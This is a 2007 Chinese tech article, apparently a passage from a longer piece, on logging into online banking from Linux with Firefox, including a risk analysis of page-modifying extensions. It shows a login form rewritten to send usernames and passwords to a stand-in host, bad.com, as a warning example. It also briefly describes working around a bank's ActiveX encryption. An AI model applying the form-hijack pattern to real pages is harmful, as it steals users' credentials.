Linux + Firefox 登陆网上银行

http://tech.ddvip.com   2007年02月28日    社区交流

本文详细介绍Linux + Firefox 登陆网上银行

  风险分析

  从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以直接对页面进行修改。但这里也存在相当大的风险。

  比如如果某页面存在一个表单,定义如下:

  CODE:[Copy to clipboard]1.<form method=post action="http://good.com/cgi-bin/test.pl">

  2.用户名:<input id="username" name=username type=text ><br>

  3.密 码:<input id="password" name=password type=text ><br>

  4.<input name=submit type=submit value=”提交">

  5.</form>  这段内容原本会将数据提交到good.com上的test.pl处理,但如果恶意代码将其改为:

  CODE:[Copy to clipboard]1.<form method=post action="http://bad.com/cgi-bin/test.pl">

  2.用户名:<input id="username" name=username type=text ><br>

  3.密 码:<input id="password" name=password type=text ><br>

  4.<input name=submit type=submit value=”提交">

  5.</form>  这会导致原本应该发送给good.com的数据被发送给bad.com。风险极大。

  招商银行

  相比于上面两个银行,招商银行的难度要高一些。招商银行使用的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,但毫无疑问,这种机制加大了我工作的难度。

  如果能分析出这个加密算法并用JavaScript实现,招商银行的问题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请参考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。

  目前笔者还没有分析出算法,但使用某种技巧,笔者能针对任意帐号和密码在自己的电脑上生成密文。这样虽然未知加密算法。但可以先得到自己帐号密码的密文内容,然后通过修改网页的方式提交出去。当然,这种方式暂时只能自学自用,不便公开。事实上,因为招行的网站有很多”桢“(Frame)。修改起来过于麻烦。目前的计划是不久以后注销掉招商银行的帐号。

  据说工商银行的ActiveX也有类似的机制,因为没有工行帐号,就不准备进一步研究了。但相信也可以通过和招商银行类似的方式解决。

  风险提示和后记

  对于一般的用户,特别要注意不要安装来路不明的扩展和脚本,这其中的风险几乎相当于自己给自己安装一个木马。因为除了JavaScript语言开发以外,Firefox的扩展还可以使用Java、C/C++等语言开发,能够实现非常底层的功能,甚至格式化你的硬盘。

  感谢笔者现在的雇主—北大青鸟(北京华源)授权培训中心,没有给安排给我太多的工作任务,使得能够有足够的时间和精力,深入研究自由软件的各种技术,回报自由软件社区。

作者:马路遥    责编:豆豆技术应用

正在加载评论...